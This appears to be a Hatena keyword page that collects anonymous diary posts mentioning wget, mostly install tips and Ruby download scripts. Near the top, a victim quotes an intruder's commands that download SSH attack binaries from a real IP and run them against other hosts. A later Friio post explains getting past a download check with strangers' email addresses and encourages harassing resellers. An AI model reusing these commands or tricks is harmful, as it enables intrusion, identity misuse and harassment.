はてなキーワード: wgetとは
うちの大したことに使ってもいないのに常時稼動で外部公開なサーバがクラックされて以下のコマンドが実行されていた。
sh -c cd /tmp;wget ttp://195.69.220.2/dd_ssh;chmod 755 dd_ssh;./dd_ssh 50 217.79.190.53 2 >/dev/null 2>/dev/null sh -c cd /tmp;wget ttp://195.69.220.2/slowdssh;chmod 755 slowdssh;./slowdssh >/dev/null 2>/dev/null sh -c cd /tmp;killall -9 ssh2;wget ttp://195.69.220.2/ssh3;chmod 755 ssh3;./ssh3 200 72.20.14.174 >/dev/null 2>/dev/null
((正式なリンクだと502エラーが出て書き込めないのでhを抜いてあります。))
このコマンドを実行するとドイツのサーバからプログラムをダウンロードして実行するみたい。
ちなみに、いろんなサーバにssh接続を試みるプログラムっぽい。
このプログラムたちは2007年の11月頃にビルドしたApache/2.0.61にぶら下がって動いていた。
ログは綺麗さっぱりなくなっていて、2011年7月24日以降の情報しか残っていなかった。
どうやって侵入して実行したのか分からなかったけど、古いApacheと一緒に動いていたのでApacheを更新しなかった自分が悪いと思っている。
「dd_ssh」や「ssh3」の引数を書き換えて実行してみたいけど、それって犯罪じゃないかと思うと怖くてできない。
誰か詳しく調べてちょ。
wget http://sourceforge.net/projects/poptop/files/pptpd/pptpd-1.3.4/pptpd-1.3.4.tar.gz/download
2.tgzを解凍
3. ./configure 実行
4. make 実行
5. make install 実行
http://blog.mizoshiri.com/archives/93
(Cloud 9 さん ブログ)
社外のサーバはyumばかりかwgetもpingもことごとくだめって、
FWの設定間違えたかな...などと考えをめぐらせつつググってみたら、こちらに解決手順が。
Windowsだと、デフォルトゲートウエイもNICのTCP/IP設定画面に含まれているけど
それって考えてみたら、デフォルトゲートウェイはコンピュータ(ホスト)固有だからおかしいよね。
/etc/sysconfig/network-scripts/cfg-eth0
の項目をいじっても社外につながらなかった(/etc/sysconfig/network にGW設定も必要)
ことへのグチですけど。。
| Windows | 5 |
| Mac OS | 10 |
| Linux | 10 |
| 自作OS | 20 |
| ベータ版 | 20 |
| 現行版 | 10 |
| 一つ前 | 5 |
| 二つ前 | 0 |
| IE8以下 | IE9 | Firefox | Chrome/Rockmelt | Opera | Safari | w3m | lynx | wget/curl/lwp | UA無し |
| 0 | 5 | 6 | 6 | 6 | 5 | 10 | 10 | 20 | 30 |
UA無しの人はもしかするとtelnetを使ってるかもしれないので
補足
| 開発版、dev版、Minefield等アルファ版 | 20 |
| ベータ版 | 15 |
| RC版 | 10 |
| リリース版(通常) | 5 |
| リリース版-1 | 3 |
| リリース版-2 | 2 |
| 2つ以上古い | 0 |
| アルファ版 | 20 |
| ベータ版 | 15 |
| リリース版(通常) | 5 |
| 半年以上前のバージョン | 3 |
| それ以上前 | 0 |
| 固定IPアドレス | 15 |
| 動的IPアドレス | 0 |
| Direct IPv6 | 20 |
| 6to4/6rd IPv6 | 10 |
| IPv4 | 0 |
$ ping www.google.co.jp
| 151msec以上 | 0 |
| 101-150msec | 5 |
| 51-100msec | 10 |
| 31-50msec | 20 |
| 11-30msec | 25 |
| 0-10msec | 30 |
| ポイント | 称号 | ハッカーレベル |
| 121以上 | 意識も技術も高いハイレベルエンジニア | グル |
| 110-120 | 100M人に1人のホンモノエンジニア | ウィザード |
| 90-109 | 凄腕 | ハッカー |
| 70-89 | 意識の高い情報強者 | ギーク |
| 60-69 | それなりに意識の高い情報強者 | |
| 60-59 | 意識の中程な情報強者 | |
| 40-59 | 自称情強 | スクリプトキディ |
| 30-39 | 自称意識の高い人 | |
| 30未満 | 意識の低い情弱 |
というか表題のコマンドを実行するだけであまり説明することもないが。
wikileaks.org でアクセス出来なくなったのもあり、いつサイト自体が無くなってもおかしくない(まぁ当初からずっとそうだけど)ので興味ある命知らずは丸ごとダウンロードしておくことをおすすめする。
Wikileaks:Paypal停止と「言論の自由」問題 | WIRED VISION
http://wiredvision.jp/news/201012/2010120523.html
(追記 2010-12-06)今日 wget してみたところ、1,708 ファイルで 67.0MB だった。大体 1 時間位でダウンロード完了できた。
Windows で wget ないぜって人はこの辺から落としてこい。
wget(Windows版) - 俺の基地
http://yakinikunotare.boo.jp/orebase/index.php?wget%A1%CAWindows%C8%C7%A1%CB
Mac OS X は macports、Linux は apt-get やら yum やら使って適当にインストールしてください。
http://wikileaks.org (上述の記事の通り、DNS の登録から外されたらしい)
http://wikileaks.ch/(ミラー?コピーサイト?)
mkdir wikileaks
あと、wikileaks はミラーサイトになってくれるところを募集しているらしいので、更に命知らず(リアル命とセキュリティアタック的な意味で)な人はこの手順に従ってミラーサイトが公開できますよ。ちょいと wikileaks なんとかっていうドメインとサーバスペースを契約してミラー作ってあげたらいいんじゃないですかね。
Bash | #### tutorial about how to set up a wikileaks mirr - Wikileaks mirroring tutorial(英語)
http://pastebin.com/6q6E3Z0C
ちゃんと匿名ダイアリーで書いてるし(wikileaks.hatena.ne.jp まだかな!)、はてなの人も言論の自由を脅かすなんてことは、おっと誰か来たようだ
今後は岡崎市立中央図書館のウェブサイトをクローラでアクセスしてよいの?
wgetしちゃっていいの?
波乗野郎しちゃっていいの?
岡崎市立中央図書館はLibrahack氏に謝れよ。本当に。
平成十七年(2005)の設計だから想定していなかったって阿呆ですか。
波乗野郎の発売は1996年だ。wgetもその頃からある。この時点で庶民にクローラ需要があったんだぞ。
俺だって十年前から自動巡回も一括取得も当たり前にやってた。
低品質な製品を発注してしまった責任を取りたくないから認められないのか?
三菱から見返りでももらっていたのか?
合法だけど迷惑行為だったとでも言いたいようだが、迷惑を受けたのは逮捕された側だっての。
今まで落ちなかったのは、たまたまそうやって利用されていなかっただけだろ。
利用者の方におかれましては、情報収集のために使われる手段が、他の利用者に迷惑をかけていないかどうかについて、ご配慮をお願いいたします。
同時1コネクション限度でアクセス毎に1秒ウェイトは十分すぎるほど配慮してるじゃないか。
頻度も大域も1万円の中古パソコンでもさばける程度のアクセスしかしてないじゃないか。
この図書館は最悪だな。こんなだから逮捕者まで出してしまったんだ。
三菱も悪いが図書館の態度も大きな原因だろう。無知でしたとか言う次元じゃない。
こんな図書館だから、こんな商品発注して、この有様なんだとしか言いようがない。
せっかく書いたから匿名でのせてみるよ
使い方は
必要なものを gem で取ってくるにはこうすればいいよ
長すぎてelispが消えたから続きがあるよ
@echo off setlocal set WD=%~dp0 cd /d %WD% ruby get_movies.rb ruby get_images.rb ruby create_m3u.rb
user: ユーザID password: パスワード ids_file: ids.txt done_file: ids_done.txt movies_dir: movies log4r_config: pre_config: global: INFO loggers: - name: app type: Log4r::Logger level: INFO outputters: - STDOUT - FILE outputters: - name: STDOUT type: Log4r::StdoutOutputter formatter: type: Log4r::PatternFormatter pattern: "%d [%l] %C - %M" date_pattern: "%H:%M:%S" - name: FILE type: Log4r::FileOutputter filename: "#{LOGDIR}/sangels.log" formatter: type: Log4r::PatternFormatter pattern: "%d [%l] %C - %M" date_pattern: "%Y-%m-%d %H:%M:%S"
require 'fileutils' require 'logger' require 'mechanize' BASEDIR = File.dirname($0) require "#{BASEDIR}/util" require "#{BASEDIR}/sangels" $config = load_config(BASEDIR) prepare_logger(BASEDIR) $log = new_logger("get_movies") WWW::Mechanize.log = new_logger("mechanize") WGet.log = $log class IDFile def initialize(file) @file = file unless File.exist?(@file) Fileutils.touch(@file) end end def ids(contains_comment = nil) File.open(@file) {|io| io.to_a.map {|x| x.chomp }.select {|x| if x.empty? nil elsif contains_comment true else not /^\s*\#/ =~ x end } } end def add(id) ids = ids(true) unless ids.any? {|x| x == id} write(ids + [id]) end end def delete(id) ids = ids(true) if ids.any? {|x| x == id} write(ids - [id]) end end def write(ids) File.open(@file, "w") {|io| ids.each {|x| io.puts x} } end end $log.info("BEGIN #{$0} ================") exit_code = 0 begin ids_file = IDFile.new($config.ids_file) done_file = IDFile.new($config.done_file) movies_dir = $config.movies_dir wget = WGet.new sangels = SAngels.new sangels.login($config.user, $config.password) ids_file.ids.each {|id| begin movies = sangels.movies(id) rescue SAngels::Movies::InvalidMoviesError $log.warn("invalid movie id: #{id}") next end dir = File.expand_path(id, movies_dir) movies.each {|link| wget.retrieve(link.href, dir) } expected = movies.movie_links.map{|x| File.basename(x.href)} actual = Dir.glob("#{dir}/*").map {|x| File.basename(x)} if (expected - actual).empty? done_file.add(id) ids_file.delete(id) end } rescue => e $log.error(e) exit_code = 1 end $log.info("END #{$0} (#{exit_code}) ================") exit exit_code
require 'fileutils' require 'logger' require 'mechanize' require 'ostruct' BASEDIR = File.dirname($0) require "#{BASEDIR}/util" require "#{BASEDIR}/sangels" $config = load_config(BASEDIR) prepare_logger(BASEDIR) $log = new_logger("get_images") WWW::Mechanize.log = new_logger("mechanize") WGet.log = $log $log.info("BEGIN #{$0} ================") exit_code = 0 begin movies_dir = $config.movies_dir sangels = SAngels.new sangels.login($config.user, $config.password) thumbnails = sangels.thumbnails Dir.glob("#{movies_dir}/*").each {|dir| next unless File.directory? dir id = File.basename(dir) url = thumbnails.url(id) unless url $log.warn("#{id} is not found") next end path = File.expand_path("00_thumbnail#{File.extname(url)}", dir) next if File.exist? path $log.info("retrieving #{url}") thumbnail = thumbnails.get_file(id) File.open(path, "wb") {|io| io.write(thumbnail)} } rescue => e $log.error(e) exit_code = 1 end $log.info("END #{$0} (#{exit_code}) ================") exit exit_code
BASEDIR = File.dirname($0) require "#{BASEDIR}/util" $config = load_config(BASEDIR) movies_dir = $config.movies_dir Dir.glob("#{movies_dir}/*") {|dir| next unless File.directory? dir name = File.basename(dir) files = Dir.glob("#{dir}/*.wmv").sort File.open("#{movies_dir}/#{name}.m3u", "w") {|io| files.each {|file| io.puts "#{name}/#{File.basename(file)}" } } File.open("#{dir}/00_movies.m3u", "w") {|io| files.each {|file| io.puts "#{File.basename(file)}" } } }
require 'mechanize' require 'hpricot' BASEDIR = File.dirname($0) require "#{BASEDIR}/util" class SAngels HOST = "real2.s-angels.com" LOGIN_URL = "http://#{HOST}/member/" INFO_URL = "http://#{HOST}/teigaku/item.php" THUMBNAILS_URL = "http://#{HOST}/teigaku/" THUMBNAIL_URL = "http://#{HOST}/images/default/thumb/" def initialize() @agent = WWW::Mechanize.new end def login(user, password) login_form = @agent.get(LOGIN_URL).forms.find {|form| form.fields.any? {|field| field.name == "frmLoginid"} } login_form.frmLoginid = user login_form.frmPw = password @agent.submit(login_form) end def movies(id, no_validate = nil) Movies.new(@agent, id, !no_validate) end def thumbnails Thumbnails.new(@agent) end class Thumbnails def initialize(agent) @agent = agent doc = Hpricot(@agent.get_file(THUMBNAILS_URL)) elems = doc.search("div[@class=realthum]/a") @links = Hash( elems.map {|elem| href = elem["href"] id = $1 if /ID=(.+)/ =~ href url = elem.search("img")[0]["src"] [id, url] }) end def get_file(id) @agent.get_file(url(id)) end def url(id) @links[id] end def exist?(id) url(id) end end class Movies class InvalidMoviesError < StandardError end def initialize(agent, id, no_validate) @agent = agent @id = id if !no_validate && !valid? raise InvalidMoviesError end end def info_page_url "#{INFO_URL}?ID=#{@id}" end def info_page @agent.get(info_page_url) end def movies_page @agent.click(info_page.links.find {|link| /P=10/ =~ link.href}) end def movie_links movies_page.links.select {|link| /wmv$/ =~ link.href }.sort {|a, b| File.basename(a.href) <=> File.basename(b.href) } end def valid? info_page.uri.to_s == info_page_url end def each(&block) orig_links = movie_links orig_links.each {|orig_link| link = movie_links.find {|l| File.basename(l.href) == File.basename(orig_link.href)} block.call(link) } end end end
require 'log4r' require 'log4r/yamlconfigurator' require 'singleton' require 'fileutils' require 'ostruct' def Hash(a) Hash[*a.flatten] end def load_config(basedir) OpenStruct.new(File.open("#{basedir}/config.yaml") {|io| YAML.load(io)}) end def new_logger(name) Log4r::Logger.new("app::#{name}") end def prepare_logger(basedir, logdir = nil) logdir ||= basedir Log4r::YamlConfigurator["LOGDIR"] = logdir Log4r::YamlConfigurator.load_yaml_file("#{basedir}/config.yaml") end class NullObject include Singleton def method_missing(message, *arg) NullObject.singleton end end class WGet class << self attr_accessor :log def initialize super @log = NullObject.singleton end end def log self.class.log end def retrieve(url, dir) FileUtils.mkdir_p(dir) file = File.expand_path(File.basename(url), dir) if File.exist?(file) log.info("already retrieved #{url}") return true end tmp = "#{file}.part" log.info("retrieving #{url}") ret = system("wget", "-c", "-O", tmp, url) if ret log.info("retrieving succeeded #{url}") File.rename(tmp, file) else if $? == 0x020000 # Ctrl-C exit($?) else log.error("retrieving failure #{url} (#{$?})") end end return ret end end
http://www.ubuntulinux.jp/products/JA-Localized http://www.ubuntulinux.jp/
http://jody.sci.hokudai.ac.jp/~ike/colum/ubuntu_feisty_amd64.html
wget -q http://www.ubuntulinux.jp/ubuntu-ja-archive-keyring.gpg -O- | sudo apt-key add -
sudo wget http://www.ubuntulinux.jp/sources.list.d/hardy.list -O /etc/apt/sources.list.d/ubuntu-ja.list
sudo apt-get update
sudo apt-get install ubuntu-desktop-ja
sudo apt-get install ubuntu-ja-keyring
sudo apt-get upgrade
sudo apt-get install language-pack-gnome-ja language-pack-ja
sudo apt-get install ipafont ipamonafont lha-sjis
sudo apt-get install scim-anthy
sudo apt-get install scim-bridge im-switch
sudo apt-get install openoffice.org-l10n-ja openoffice.org-help-ja mozilla-firefox-locale-ja-jp
なんか呼ばれた気がしなくもない。
ここ1年程の、ほぼすべてのエントリナンバは提供できると思う。
ただ、削除されたエントリもそれなりに入ってるけど、入ってないものも多い。そんなデータ。
たぶん10万件×14桁で1.5Mほどかな。圧縮すれば2割くらいになってくれるだろうか。
いる人いる?
しかし、日単位なら365リクエストでいけるから、とってきた方が早いかも。
shならwgetとsed、perlならWeb::Scraper、gmならgm_xhrか。
xpathgraphという手もあるな。総計値になるけど。差分や統計が取れたらもっと面白いのに。
まず、stable の最新版にアップデート。
# apt-get update # apt-get dist-upgrade
そしたら /etc/apt/source.list を編集。
… deb http://www.example.org/pub/ stable main contrib non-free deb-src http://www.example.org/pub/ stable main contrib non-free …
の stable を unstable に変更すれば OK。
そしたらもう一回更新すれば OK。
# apt-get update # apt-get dist-upgrade
おれのこのみだけど。
# apt-get install aptitude gnupg locales openssh-server screen subversion subversion-tools wget zsh
下のコマンドをたたいてしつもんにこたえて、UTF-8 にする。
# dpkg-reconfigure locales
# aptitude update # aptitude dist-upgrade
それにしても、転売ヤーさんいっぱい居ますね。
今は第4弾出荷品がいっぱい出品されてるので、だいぶ相場は落ちてますが、それでもまだ倍になる。
とりあえず、私はもう売り抜けたので関係ありませんのでw、
誰が作ったか知らないけど違反申告の方が使えるページを紹介します。
http://jsn-home.net/~friio/search.php
Yahoo!にログインした状態で使ってください。ワンクリックで違反申告できます。
夜中の3時くらいに使ってください。出品者のケータイのメールアドレスにメールが送れますw
PCには専用のアドレスから送られてくるので弾けるのですが、ケータイはなぜか落札通知などと同じアドレスからくるのでdenyできません。
なお、ドライバをダウンロードする際には購入者のメールアドレスが必要なのですが、教えなくてもDLさせることができます。
とあります。
メールアドレスをblogで検索して探す方法ですが、「フリーオ 買った」とかで検索すればいくつか見つかりますので。終わり。
簡単なスクリプトでDLさせる方法は、以下のようなURIにリダイレクトするようなスクリプトを書けばいいです。
http://mailaddress:friio@www.friio.com/download/secure/friio-latest.zip
向こう側の認証機構が単純なので、ユーザー名とパスワードをURIに含めてリクエストさせればOKです。
zipでくれ!みたいに、Wgetを使い、Cronで毎日回して(blog検索で見つけたメールアドレスを使ってw)、
更新があれば保存しておき、ユーザーにはそれをDLさせるとかすればリクエストヘッダには何も情報出ませんし。
Yahoo!なら受け取り後決済を使うと個人情報は一切向こうに渡らないので、完全隠密行動が可能になります。
なお、フリーオを使った感想ですが、30分もののアニメなら、最短で放送終了から45分くらいでニコニコにうpできます。
AviUtilに読ませるために変換するのに5分。エンコに30分ってとこです。後はニコニコのエンコード待ち。
まぁ使いたい人はがんばって公式サイトから買いましょう。俺が言うのもおかしいですがw
前回までのあらすじ
[Ruby]10日目
http://anond.hatelabo.jp/20070925223241
id/passの再発行を申請したら届いたのはなんとブログのid/passだった!!
はたして締め切りに間に合うのか!!
はい、間に合うはずもありませんね。
夏休みの宿題は夏休みがおわってからやる主義の増田ですこんにちは。
一応エントリーだけはしておきました。
サービス開始できてないけどな!
next if :next はcontinueみたいな感じ。この表記に違和感。
unless :こんな書き方にはなにかなじめない。
一行if文が嫌いな増田には余計耐えられない。
@user = params[:id].nil? ? @myuser : User.find(params[:id])
こういう書き方が嫌い。意味わからん。
正直嵌った。
あれこれいじってみたのだけど、そうではなかったようだ。
start_form_tagに :multipart => true がぬけていた。
あと、{}で引数位置指定しないといけないんだと…。
http://techno.hippy.jp/rorwiki/?HowtoUploadFiles http://www.fdiary.net/ml/rails/msg/1375/0/ start_form_tag({:action => 'create'}, :multipart => true)
これは結構やりがちなミスかもしれない。
ちなみに、本のサンプルも間違っていたので余計嵌った。
image_tagで拡張子なしのファイルを読み込むと勝手にpng拡張子がついてくる。
おかげさまで表示されない。
http://mumrik.air-nifty.com/blog/2007/05/16_r185r186_6.html
どうやら画像ファイルの拡張子が指定されていない URL だと自動的に png として扱うよ、ということらしいので、image_tag のところで url_for( ) した部分に追加修正をしてみる。
対処療法でしかない。これだとjpgしかできないので正直どうしたものか。
:content_typeを一応保存しているので後から拡張子をつくることもできるが、
きっとなにかいいものがそのうちできるはず!!というかあるはず!!
→時間がなかったのでうっちゃった
redirect_back_or_defaultの使いどころに悩む。
rubyで画像を描画させているばあい、画像にもどってしまうからだ。
この挙動は最初意味わからなかったぜ。
→時間がなかったので最初の画面に飛ばして誤魔化した
テーブルでjoinで名前だけでももってきたいとき、元のテーブルにはどうやって別名つけたらいいんだろう??
例えば、user名をuserテーブルからくっつけてもってきたい場合rubyは次みたいな
感じになるんだけど、正直気持ち悪い。
@catchcopy_pages, @catchcopy = paginate :catchcopies,
:conditions => contitions_str,
:select => 'catchcopies.id,user_id,users.login,catchcopies.catchcopy,catchcopies.created_at,vote,catchcopies.updated_at,item_id',
:joins => 'left outer join users on user_id = users.id ',
:order => 'created_at DESC' ,
:per_page => 10
ところでSchema.rbとかみるかぎりFKにも指定されていないんだが、大丈夫なのだろうか。
belongs_toとかではそこまでやってくれないものなのか。
ちなみにmigrateファイルでのalterとかの書き方はまだわかっていない。できるのかもしらない。
パスワードをメールで送ってもらってアクセスできるようになった!
われながら情けないが、SSH越しのファイル転送のしかたがわからなかった。
rcpもscpもうまくできない。
これが環境の問題なのか、自分が悪いのか、やりかたが悪いのか、
問題の切り分けがそもそもできないので諦めた。
SSHで向こうのコマンドからrcpを蹴ってるってことはこっちが開けてないとダメってことだよね?
こっち閉じてるもの…。
wgetは生きていたので他のレンタルサーバー経由ファイルを取得。
ちなみにrcpができないのであげっぱなしさ!
が、しかし。unzipがはいってない。
tarで圧縮して、
unzipがないのでzがつかえない。
せっかく
ENV['RAILS_ENV'] ||= 'production'
みたいなymlがあるのに、
dispatch.cgi
dispatch.fcgi
に書かれた
を
#!/usr/bin/ruby
に変更しなきゃいけないのは、何かあれだなと思った。
これかえてまわってたら本番とローカルで世代が分岐しちゃうじゃないか…。
ちなみにmysqlのソケットの位置も違うようなので、
/tmp/mysql.sock
↓
socket: /var/run/mysqld/mysqld.sock
をymlに設定。
できればconfファイルのフラグの書き換えだけで乗り換えしたかった。
最近linuxとかにもめっきり触っていなかったのでコマンド表を一生懸命見た。
witch ruby でインストールフォルダを割り出したり、
・・・findというコマンドが思い出せないときは情けなかった。
そうこうしながら設定完了
あれ、動かない・・・500エラーが出てる。
wget経由でdispatch.cgiをそのまま配置したのが原因でした。
中継サーバで動いちゃったみたい。tarで固めてからわたしなおしましたとさ。
うごいたーー!!
でも、登録すると文字化けしている。
おかしいなぁ……。
SQL>status
DBがlatin1になっていた…。
CREATE DATABASEも権限ないし…。
my.cnfも読み込み専用だった。
alter database XXXX DEFAULT CHARACTER SET utf8;
alter table XXXX DEFAULT CHARACTER SET utf8;
みたいな悪あがきもしてみたけど適わぬ夢。
SET NAMES utf8;
でもコネクションのところあたりでやってあげたいのだけど、
こういうときにRailsみたいなのは何がどこにあるのかわからない。
しょうがないので運営に問合わせしてみました。
ratin1は正直太刀できるきがあまりしない。
8日(のんびり)の勉強と2日(ほぼ徹夜)と1日(半日)のサーバー設定で、
が、どうなのさ・・・。RonR
なんていうか消化不良。
もっとちゃんとしたものつくりたいな……。
~% wget -S --spider http://www.kantei.go.jp/ --23:26:05-- http://www.kantei.go.jp/ => `index.html' www.kantei.go.jp をDNSに問いあわせています... 202.232.58.50, 202.232.190.90 www.kantei.go.jp|202.232.58.50|:80 に接続しています... 接続しました。 HTTP による接続要求を送信しました、応答を待っています... HTTP/1.1 200 OK Date: Wed, 05 Sep 2007 14:26:05 GMT Server: Apache Last-Modified: Wed, 05 Sep 2007 10:36:48 GMT ETag: "84e2-7930-fb9f3000" Accept-Ranges: bytes Content-Length: 31024 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html 長さ: 31,024 (30K) [text/html] 200 OK ~% wget -S --spider http://www.kantei.go.jp/ --23:30:11-- http://www.kantei.go.jp/ => `index.html' www.kantei.go.jp をDNSに問いあわせています... 202.232.190.90, 202.232.58.50 www.kantei.go.jp|202.232.190.90|:80 に接続しています... 接続しました。 HTTP による接続要求を送信しました、応答を待っています... HTTP/1.1 200 OK Server: Zeus/4.2 Date: Wed, 05 Sep 2007 14:30:11 GMT Content-Length: 31024 Accept-Ranges: bytes Content-Type: text/html Last-Modified: Wed, 05 Sep 2007 10:36:48 GMT Connection: Keep-Alive 長さ: 31,024 (30K) [text/html] 200 OK
http://anond.hatelabo.jp/20070429211930
ファイルにurlコピペしといてそこから読み込むようにしたんだぜ?
頭の"h"を補完するようにしたんだぜ?
例えばhoge.txtとして次のような内容にしておく。
ttp://www.yourfilehost.com/media.php?cat=video&file=hoge_001.wmv ttp://www.yourfilehost.com/media.php?cat=video&file=hoge_002.wmv ttp://www.yourfilehost.com/media.php?cat=video&file=hoge_003.wmv
こっちはbukkonuki.rbとして保存。
require 'rubygems' require 'scrapi' require 'open-uri' def get_yourfilehost_src(uri) yourfilehost_src = Scraper.define do process "embed", :src => "@src" result :src end yourfilehost_match = /vidlink\=(.*?)&/ return yourfilehost_match.match(yourfilehost_src.scrape(URI.parse(uri)))[1] end def completion_uri(arg) if arg =~ /^h/ uri = arg else uri = 'h' + arg end return uri end def expansion_list() $*.each do |files| File::open(files) do |file| file.each {|line| system 'wget', get_yourfilehost_src(completion_uri(line)) } end end end expansion_list() #$*.each do |arg| # system 'wget', get_yourfilehost_src(completion_uri(arg)) #end
使うときは
ruby bukkonuki.rb hoge.txt
って感じで頼むぜ。
http://anond.hatelabo.jp/20070325165452
仕様が変わっていたので改良したんだぜ?
使いかたは以前と変わってない。
require 'rubygems' require 'scrapi' require 'open-uri' def get_yourfilehost_src(uri) yourfilehost_src = Scraper.define do process "embed", :src => "@src" result :src end yourfilehost_match = /vidlink\=(.*?)&/ return yourfilehost_match.match(yourfilehost_src.scrape(URI.parse(uri)))[1] end $*.each do |uri| system 'wget', get_yourfilehost_src(uri) end
yourfilehostぶっこぬき
http://www.yourfilehost.com/media.php?cat=video&file=hogehoge.wmv
こんなのからhogehoge.wmvをダウンロードするためのrubyスクリプト
これをbukkonuki.rbとして保存する
require 'rubygems' require 'scrapi' require 'open-uri' yourfilehost_src = Scraper.define do process "embed", :src => "@src" result :src end ARGV.each do |uri| p system "wget", yourfilehost_src.scrape(URI.parse(uri)) end
こんな感じで使うとDLしてくる
ruby bukkonuki.rb "http://www.yourfilehost.com/media.php?cat=video&file=hogehoge.wmv"
複数指定してもDLしてくる
ruby bukkonuki.rb "http://www.yourfilehost.com/media.php?cat=video&file=hogehoge.wmv1" "http://www.yourfilehost.com/media.php?cat=video&file=hogehoge.wmv2"
半日かかったぞ…ふざけやがって